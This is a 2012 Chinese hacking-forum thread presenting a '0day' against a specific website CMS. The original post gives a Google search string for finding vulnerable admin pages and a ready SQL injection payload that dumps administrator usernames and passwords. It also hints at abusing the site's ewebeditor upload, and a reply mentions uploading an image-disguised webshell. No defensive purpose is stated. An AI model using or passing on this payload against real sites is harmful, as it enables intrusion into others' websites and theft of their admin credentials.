一枚0day

不哭 · 发表于 2012-7-31 08:00:32

google关键词
inurl:szwyadmin/login.asp
打开网页直接开主页，
点开新闻管理点开一个ID连接
%20and%201=2%20union%20select%201,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20admin
这个语句直接爆账号密码

其中网站根目录下有ewebeditor编辑器，
怎么利用你懂的！
大部分爆出的秘密是MD5 32位的建议下载我在论坛放的MD5 密码表

dragondoudou · 发表于 2012-7-31 11:20:59

大侠，为什么上传图片马之后，路径UPLOAD/2012073110354873499.jpg 找不到了？菜鸟学习，帖子很好，谢谢。

不哭 · 发表于 2012-7-31 22:08:08

dragondoudou 发表于 2012-7-31 11:20
大侠，为什么上传图片马之后，路径UPLOAD/2012073110354873499.jpg 找不到了？菜鸟学习，帖子很好，谢谢。 ...

没有备份？

冰河 · 发表于 2012-8-1 00:57:01

{:soso_e179:} 试用下看管用不。

TOPGUN · 发表于 2012-8-4 00:00:49

提示: 作者被禁止或删除内容自动屏蔽

显示全部楼层 · 发表于 2012-8-4 00:15:33

提示: 作者被禁止或删除内容自动屏蔽

蓝颜 · 发表于 2013-10-21 20:45:45

支持下

TOPGUN TOPGUN 当前离线积分 131 头像被屏蔽该用户从未签到	发表于 2012-8-4 00:00:49 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
TOPGUN TOPGUN 当前离线积分 131 头像被屏蔽该用户从未签到
	回复支持反对使用道具举报

天涯该用户已被删除	发表于 2012-8-4 00:15:33 来自手机 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
天涯该用户已被删除
	回复支持反对使用道具举报

一枚0day

指导单位

旗下站点

联系我们